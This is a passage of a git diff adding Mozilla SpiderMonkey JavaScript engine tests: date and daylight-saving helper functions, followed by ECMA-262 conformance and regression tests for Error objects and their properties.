+ // prev day == last day of month
+ time -= msPerDay;
+
+ for ( var last_sunday = time; WeekDay(last_sunday) > 0;
+ last_sunday -= msPerDay )
+ {
+ ;
+ }
+ return last_sunday;
+}
+
+/*
+ 15.9.1.9 Daylight Saving Time Adjustment
+
+ The implementation of ECMAScript should not try to determine whether
+ the exact time was subject to daylight saving time, but just whether
+ daylight saving time would have been in effect if the current
+ daylight saving time algorithm had been used at the time. This avoids
+ complications such as taking into account the years that the locale
+ observed daylight saving time year round.
+*/
+
+/*
+ US DST algorithm
+
+ Before 2007, DST starts first Sunday in April at 2 AM and ends last
+ Sunday in October at 2 AM
+
+ Starting in 2007, DST starts second Sunday in March at 2 AM and ends
+ first Sunday in November at 2 AM
+
+ Note that different operating systems behave differently.
+
+ Fully patched Windows XP uses the 2007 algorithm for all dates while
+ fully patched Fedora Core 6 and RHEL 4 Linux use the algorithm in
+ effect at the time.
+
+ Since pre-2007 DST is a subset of 2007 DST rules, this only affects
+ tests that occur in the period Mar-Apr and Oct-Nov where the two
+ algorithms do not agree.
+
+*/
+
+function GetDSTStart( t )
+{
+ return (GetFirstSundayInMonth(t, 2) + 7*msPerDay + 2*msPerHour - LocalTZA());
+}
+
+function GetDSTEnd( t )
+{
+ return (GetFirstSundayInMonth(t, 10) + 2*msPerHour - LocalTZA());
+}
+
+function GetOldDSTStart( t )
+{
+ return (GetFirstSundayInMonth(t, 3) + 2*msPerHour - LocalTZA());
+}
+
+function GetOldDSTEnd( t )
+{
+ return (GetLastSundayInMonth(t, 9) + 2*msPerHour - LocalTZA());
+}
+
+function LocalTime( t ) {
+ return ( t + LocalTZA() + DaylightSavingTA(t) );
+}
+function MakeTime( hour, min, sec, ms ) {
+ if ( isNaN( hour ) || isNaN( min ) || isNaN( sec ) || isNaN( ms ) ) {
+ return Number.NaN;
+ }
+
+ hour = ToInteger(hour);
+ min = ToInteger( min);
+ sec = ToInteger( sec);
+ ms = ToInteger( ms );
+
+ return( (hour*msPerHour) + (min*msPerMinute) +
+ (sec*msPerSecond) + ms );
+}
+function MakeDay( year, month, date ) {
+ if ( isNaN(year) || isNaN(month) || isNaN(date) ) {
+ return Number.NaN;
+ }
+ year = ToInteger(year);
+ month = ToInteger(month);
+ date = ToInteger(date );
+
+ var sign = ( year < 1970 ) ? -1 : 1;
+ var t = ( year < 1970 ) ? 1 : 0;
+ var y = ( year < 1970 ) ? 1969 : 1970;
+
+ var result5 = year + Math.floor( month/12 );
+ var result6 = month % 12;
+
+ if ( year < 1970 ) {
+ for ( y = 1969; y >= year; y += sign ) {
+ t += sign * TimeInYear(y);
+ }
+ } else {
+ for ( y = 1970 ; y < year; y += sign ) {
+ t += sign * TimeInYear(y);
+ }
+ }
+
+ var leap = InLeapYear( t );
+
+ for ( var m = 0; m < month; m++ ) {
+ t += TimeInMonth( m, leap );
+ }
+
+ if ( YearFromTime(t) != result5 ) {
+ return Number.NaN;
+ }
+ if ( MonthFromTime(t) != result6 ) {
+ return Number.NaN;
+ }
+ if ( DateFromTime(t) != 1 ) {
+ return Number.NaN;
+ }
+
+ return ( (Day(t)) + date - 1 );
+}
+function TimeInMonth( month, leap ) {
+ // september april june november
+ // jan 0 feb 1 mar 2 apr 3 may 4 june 5 jul 6
+ // aug 7 sep 8 oct 9 nov 10 dec 11
+
+ if ( month == 3 || month == 5 || month == 8 || month == 10 ) {
+ return ( 30*msPerDay );
+ }
+
+ // all the rest
+ if ( month == 0 || month == 2 || month == 4 || month == 6 ||
+ month == 7 || month == 9 || month == 11 ) {
+ return ( 31*msPerDay );
+ }
+
+ // save february
+ return ( (leap == 0) ? 28*msPerDay : 29*msPerDay );
+}
+function MakeDate( day, time ) {
+ if ( day == Number.POSITIVE_INFINITY ||
+ day == Number.NEGATIVE_INFINITY ) {
+ return Number.NaN;
+ }
+ if ( time == Number.POSITIVE_INFINITY ||
+ time == Number.NEGATIVE_INFINITY ) {
+ return Number.NaN;
+ }
+ return ( day * msPerDay ) + time;
+}
+function TimeClip( t ) {
+ if ( isNaN( t ) ) {
+ return ( Number.NaN );
+ }
+ if ( Math.abs( t ) > 8.64e15 ) {
+ return ( Number.NaN );
+ }
+
+ return ( ToInteger( t ) );
+}
+function ToInteger( t ) {
+ t = Number( t );
+
+ if ( isNaN( t ) ){
+ return ( Number.NaN );
+ }
+ if ( t == 0 || t == -0 ||
+ t == Number.POSITIVE_INFINITY || t == Number.NEGATIVE_INFINITY ) {
+ return 0;
+ }
+
+ var sign = ( t < 0 ) ? -1 : 1;
+
+ return ( sign * Math.floor( Math.abs( t ) ) );
+}
+function Enumerate ( o ) {
+ var p;
+ for ( p in o ) {
+ print( p +": " + o[p] );
+ }
+}
+
diff --git a/js/src/tests/ecma_3/Exceptions/15.11.1.1.js b/js/src/tests/ecma_3/Exceptions/15.11.1.1.js
new file mode 100644
index 000000000..bcba1613a
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/15.11.1.1.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 27 Nov 2002
+ * SUMMARY: Ensuring normal function call of Error (ECMA-262 Ed.3 15.11.1.1).
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '';
+var summary = 'Ensuring normal function call of Error (ECMA-262 Ed.3 15.11.1.1)';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var EMPTY_STRING = '';
+var EXPECTED_FORMAT = 0;
+
+
+function otherScope(msg)
+{
+ return Error(msg);
+}
+
+
+status = inSection(1);
+var err1 = Error('msg1');
+actual = examineThis(err1, 'msg1');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(2);
+var err2 = otherScope('msg2');
+actual = examineThis(err2, 'msg2');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(3);
+var err3 = otherScope();
+actual = examineThis(err3, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(4);
+var err4 = eval("Error('msg4')");
+actual = examineThis(err4, 'msg4');
+expect = EXPECTED_FORMAT;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Searches err.toString() for err.name + ':' + err.message,
+ * with possible whitespace on each side of the colon sign.
+ *
+ * We allow for no colon in case err.message was not provided by the user.
+ * In such a case, SpiderMonkey and Rhino currently set err.message = '',
+ * as allowed for by ECMA 15.11.4.3. This makes |pattern| work in this case.
+ *
+ * If this is ever changed to a non-empty string, e.g. 'undefined',
+ * you may have to modify |pattern| to take that into account -
+ *
+ */
+function examineThis(err, msg)
+{
+ var pattern = err.name + '\\s*:?\\s*' + msg;
+ return err.toString().search(RegExp(pattern));
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Exceptions/15.11.4.4-1.js b/js/src/tests/ecma_3/Exceptions/15.11.4.4-1.js
new file mode 100644
index 000000000..333460137
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/15.11.4.4-1.js
@@ -0,0 +1,140 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 22 Jan 2002
+ * SUMMARY: Testing Error.prototype.toString()
+ *
+ * Revised: 25 Nov 2002
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=181909
+ *
+ * Note that ECMA-262 3rd Edition Final, Section 15.11.4.4 states that
+ * Error.prototype.toString() returns an implementation-dependent string.
+ * Therefore any testcase on this property is somewhat arbitrary.
+ *
+ * However, d-russo@ti.com pointed out that Rhino was returning this:
+ *
+ * js> err = new Error()
+ * undefined: undefined
+ *
+ * js> err = new Error("msg")
+ * undefined: msg
+ *
+ *
+ * We expect Rhino to return what SpiderMonkey currently does:
+ *
+ * js> err = new Error()
+ * Error
+ *
+ * js> err = new Error("msg")
+ * Error: msg
+ *
+ *
+ * i.e. we expect err.toString() === err.name if err.message is not defined;
+ * otherwise, we expect err.toString() === err.name + ': ' + err.message.
+ *
+ * See also ECMA 15.11.4.2, 15.11.4.3
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing Error.prototype.toString()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var EMPTY_STRING = '';
+var EXPECTED_FORMAT = 0;
+
+
+status = inSection(1);
+var err1 = new Error('msg1');
+actual = examineThis(err1, 'msg1');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(2);
+var err2 = new Error(err1);
+actual = examineThis(err2, err1);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(3);
+var err3 = new Error();
+actual = examineThis(err3, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(4);
+var err4 = new Error(EMPTY_STRING);
+actual = examineThis(err4, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+// now generate a run-time error -
+status = inSection(5);
+try
+{
+ eval('1=2');
+}
+catch(err5)
+{
+ actual = examineThis(err5, '.*');
+}
+expect = EXPECTED_FORMAT;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Searches err.toString() for err.name + ':' + err.message,
+ * with possible whitespace on each side of the colon sign.
+ *
+ * We allow for no colon in case err.message was not provided by the user.
+ * In such a case, SpiderMonkey and Rhino currently set err.message = '',
+ * as allowed for by ECMA 15.11.4.3. This makes |pattern| work in this case.
+ *
+ * If this is ever changed to a non-empty string, e.g. 'undefined',
+ * you may have to modify |pattern| to take that into account -
+ *
+ */
+function examineThis(err, msg)
+{
+ var pattern = err.name + '\\s*:?\\s*' + msg;
+ return err.toString().search(RegExp(pattern));
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Exceptions/15.11.5.js b/js/src/tests/ecma_3/Exceptions/15.11.5.js
new file mode 100644
index 000000000..f61d74ecd
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/15.11.5.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 4 Oct 2010
+ * SUMMARY: Error instances have no special properties beyond those inherited
+ * from the Error prototype object
+ */
+//-----------------------------------------------------------------------------
+var summary = 'Error instances have no special properties beyond those inherited the Error prototype object';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printStatus (summary);
+
+ var actual = { name: "no error", message: "no message" };
+ try {
+ new Error.prototype;
+ } catch (e) {
+ actual = e;
+ }
+
+ reportCompare("TypeError", actual.name, "must be a TypeError");
+ reportCompare(true, /not a constructor/.test(actual.message),
+ "message must indicate not a constructor");
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Exceptions/15.11.7.6-001.js b/js/src/tests/ecma_3/Exceptions/15.11.7.6-001.js
new file mode 100644
index 000000000..4c7dfb862
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/15.11.7.6-001.js
@@ -0,0 +1,96 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 April 2003
+ * SUMMARY: Prototype of predefined error objects should be DontEnum
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=201989
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 201989;
+var summary = 'Prototype of predefined error objects should be DontEnum';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Tests that |F.prototype| is not enumerable in |F|
+ */
+function testDontEnum(F)
+{
+ var proto = F.prototype;
+
+ for (var prop in F)
+ {
+ if (F[prop] === proto)
+ return false;
+ }
+ return true;
+}
+
+
+var list = [
+ "Error",
+ "ConversionError",
+ "EvalError",
+ "RangeError",
+ "ReferenceError",
+ "SyntaxError",
+ "TypeError",
+ "URIError"
+ ];
+
+
+for (i in list)
+{
+ var F = this[list[i]];
+
+ // Test for |F|; e.g. Rhino defines |ConversionError| while SM does not.
+ if (F)
+ {
+ status = 'Testing DontEnum attribute of |' + list[i] + '.prototype|';
+ actual = testDontEnum(F);
+ expect = true;
+ addThis();
+ }
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Exceptions/15.11.7.6-002.js b/js/src/tests/ecma_3/Exceptions/15.11.7.6-002.js
new file mode 100644
index 000000000..b2a279217
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/15.11.7.6-002.js
@@ -0,0 +1,98 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 April 2003
+ * SUMMARY: Prototype of predefined error objects should be DontDelete
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=201989
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 201989;
+var summary = 'Prototype of predefined error objects should be DontDelete';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Tests that |F.prototype| is DontDelete
+ */
+function testDontDelete(F)
+{
+ var e;
+ var orig = F.prototype;
+ try
+ {
+ delete F.prototype;
+ }
+ catch (e)
+ {
+ }
+ return F.prototype === orig;
+}
+
+
+var list = [
+ "Error",
+ "ConversionError",
+ "EvalError",
+ "RangeError",
+ "ReferenceError",
+ "SyntaxError",
+ "TypeError",
+ "URIError"
+ ];
+
+
+for (i in list)
+{
+ var F = this[list[i]];
+
+ // Test for |F|; e.g. Rhino defines |ConversionError| while SM does not.
+ if (F)
+ {
+ status = 'Testing DontDelete attribute of |' + list[i] + '.prototype|';
+ actual = testDontDelete(F);
+ expect = true;
+ addThis();
+ }
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Exceptions/15.11.7.6-003.js b/js/src/tests/ecma_3/Exceptions/15.11.7.6-003.js
new file mode 100644
index 000000000..faf8e133c
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/15.11.7.6-003.js
@@ -0,0 +1,98 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 April 2003
+ * SUMMARY: Prototype of predefined error objects should be ReadOnly
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=201989
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 201989;
+var summary = 'Prototype of predefined error objects should be ReadOnly';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Tests that |F.prototype| is ReadOnly
+ */
+function testReadOnly(F)
+{
+ var e;
+ var orig = F.prototype;
+ try
+ {
+ F.prototype = new Object();
+ }
+ catch (e)
+ {
+ }
+ return F.prototype === orig;
+}
+
+
+var list = [
+ "Error",
+ "ConversionError",
+ "EvalError",
+ "RangeError",
+ "ReferenceError",
+ "SyntaxError",
+ "TypeError",
+ "URIError"
+ ];
+
+
+for (i in list)
+{
+ var F = this[list[i]];
+
+ // Test for |F|; e.g. Rhino defines |ConversionError| while SM does not.
+ if (F)
+ {
+ status = 'Testing ReadOnly attribute of |' + list[i] + '.prototype|';
+ actual = testReadOnly(F);
+ expect = true;
+ addThis();
+ }
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Exceptions/binding-001.js b/js/src/tests/ecma_3/Exceptions/binding-001.js
new file mode 100644
index 000000000..dc070ac95
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/binding-001.js
@@ -0,0 +1,94 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-08-27
+ *
+ * SUMMARY: Testing binding of function names
+ *
+ * Brendan:
+ *
+ * "... the question is, does Rhino bind 'sum' in the global object
+ * for the following test? If it does, it's buggy.
+ *
+ * var f = function sum(){};
+ * print(sum); // should fail with 'sum is not defined' "
+ *
+ */
+
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing binding of function names';
+var ERR_REF_YES = 'ReferenceError';
+var ERR_REF_NO = 'did NOT generate a ReferenceError';
+var statusitems = [];
+var actualvalues = [];
+var expectedvalues = [];
+var status = summary;
+var actual = ERR_REF_NO;
+var expect= ERR_REF_YES;
+
+
+try
+{
+ var f = function sum(){};
+ print(sum);
+}
+catch (e)
+{
+ status = 'Section 1 of test';
+ actual = e instanceof ReferenceError;
+ expect = true;
+ addThis();
+
+
+ /*
+ * This test is more literal, and one day may not be valid.
+ * Searching for literal string "ReferenceError" in e.toString()
+ */
+ status = 'Section 2 of test';
+ var match = e.toString().search(/ReferenceError/);
+ actual = (match > -1);
+ expect = true;
+ addThis();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = isReferenceError(actual);
+ expectedvalues[UBound] = isReferenceError(expect);
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+// converts a Boolean result into a textual result -
+function isReferenceError(bResult)
+{
+ return bResult? ERR_REF_YES : ERR_REF_NO;
+}
diff --git a/js/src/tests/ecma_3/Exceptions/browser.js b/js/src/tests/ecma_3/Exceptions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/browser.js
diff --git a/js/src/tests/ecma_3/Exceptions/regress-181654.js b/js/src/tests/ecma_3/Exceptions/regress-181654.js
new file mode 100644
index 000000000..2dbbd0705
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/regress-181654.js
@@ -0,0 +1,121 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 23 Nov 2002
+ * SUMMARY: Calling toString for an object derived from the Error class
+ * results in an TypeError (Rhino only)
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=181654
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '181654';
+var summary = 'Calling toString for an object derived from the Error class should be possible.';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var EMPTY_STRING = '';
+var EXPECTED_FORMAT = 0;
+
+
+// derive MyError from Error
+function MyError( msg )
+{
+ this.message = msg;
+}
+MyError.prototype = new Error();
+MyError.prototype.name = "MyError";
+
+
+status = inSection(1);
+var err1 = new MyError('msg1');
+actual = examineThis(err1, 'msg1');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(2);
+var err2 = new MyError(String(err1));
+actual = examineThis(err2, err1);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(3);
+var err3 = new MyError();
+actual = examineThis(err3, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(4);
+var err4 = new MyError(EMPTY_STRING);
+actual = examineThis(err4, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+// now generate an error -
+status = inSection(5);
+try
+{
+ throw new MyError("thrown");
+}
+catch(err5)
+{
+ actual = examineThis(err5, "thrown");
+}
+expect = EXPECTED_FORMAT;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Searches err.toString() for err.name + ':' + err.message,
+ * with possible whitespace on each side of the colon sign.
+ *
+ * We allow for no colon in case err.message was not provided by the user.
+ * In such a case, SpiderMonkey and Rhino currently set err.message = '',
+ * as allowed for by ECMA 15.11.4.3. This makes |pattern| work in this case.
+ *
+ * If this is ever changed to a non-empty string, e.g. 'undefined',
+ * you may have to modify |pattern| to take that into account -
+ *
+ */
+function examineThis(err, msg)
+{
+ var pattern = err.name + '\\s*:?\\s*' + msg;
+ return err.toString().search(RegExp(pattern));
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Exceptions/regress-181914.js b/js/src/tests/ecma_3/Exceptions/regress-181914.js
new file mode 100644
index 000000000..88934ee73
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/regress-181914.js
@@ -0,0 +1,160 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 25 Nov 2002
+ * SUMMARY: Calling a user-defined superconstructor
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=181914, esp. Comment 10.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '181914';
+var summary = 'Calling a user-defined superconstructor';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var EMPTY_STRING = '';
+var EXPECTED_FORMAT = 0;
+
+
+// make a user-defined version of the Error constructor
+function _Error(msg)
+{
+ this.message = msg;
+}
+_Error.prototype = new Error();
+_Error.prototype.name = '_Error';
+
+
+// derive MyApplyError from _Error
+function MyApplyError(msg)
+{
+ if(this instanceof MyApplyError)
+ _Error.apply(this, arguments);
+ else
+ return new MyApplyError(msg);
+}
+MyApplyError.prototype = new _Error();
+MyApplyError.prototype.name = "MyApplyError";
+
+
+// derive MyCallError from _Error
+function MyCallError(msg)
+{
+ if(this instanceof MyCallError)
+ _Error.call(this, msg);
+ else
+ return new MyCallError(msg);
+}
+MyCallError.prototype = new _Error();
+MyCallError.prototype.name = "MyCallError";
+
+
+function otherScope(msg)
+{
+ return MyApplyError(msg);
+}
+
+
+status = inSection(1);
+var err1 = new MyApplyError('msg1');
+actual = examineThis(err1, 'msg1');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(2);
+var err2 = new MyCallError('msg2');
+actual = examineThis(err2, 'msg2');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(3);
+var err3 = MyApplyError('msg3');
+actual = examineThis(err3, 'msg3');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(4);
+var err4 = MyCallError('msg4');
+actual = examineThis(err4, 'msg4');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(5);
+var err5 = otherScope('msg5');
+actual = examineThis(err5, 'msg5');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(6);
+var err6 = otherScope();
+actual = examineThis(err6, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(7);
+var err7 = eval("MyApplyError('msg7')");
+actual = examineThis(err7, 'msg7');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(8);
+var err8;
+try
+{
+ throw MyApplyError('msg8');
+}
+catch(e)
+{
+ if(e instanceof Error)
+ err8 = e;
+}
+actual = examineThis(err8, 'msg8');
+expect = EXPECTED_FORMAT;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+// Searches |err.toString()| for |err.name + ':' + err.message|
+function examineThis(err, msg)
+{
+ var pattern = err.name + '\\s*:?\\s*' + msg;
+ return err.toString().search(RegExp(pattern));
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Exceptions/regress-58946.js b/js/src/tests/ecma_3/Exceptions/regress-58946.js
new file mode 100644
index 000000000..e24ccc77e
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/regress-58946.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-------------------------------------------------------------------------------------------------
+var BUGNUMBER = '58946';
+var stat = 'Testing a return statement inside a catch statement inside a function';
+
+test();
+
+function test() {
+ enterFunc ("test");
+ printBugNumber(BUGNUMBER);
+ printStatus (stat);
+
+ expect = 'PASS';
+
+ function f()
+ {
+ try
+ {
+ throw 'PASS';
+ }
+ catch(e)
+ {
+ return e;
+ }
+ }
+
+ actual = f();
+
+ reportCompare(expect, actual, stat);
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/ecma_3/Exceptions/regress-95101.js b/js/src/tests/ecma_3/Exceptions/regress-95101.js
new file mode 100644
index 000000000..5585ae04f
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/regress-95101.js
@@ -0,0 +1,84 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 13 August 2001
+ *
+ * SUMMARY: Invoking an undefined function should produce a ReferenceError
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=95101
+ */
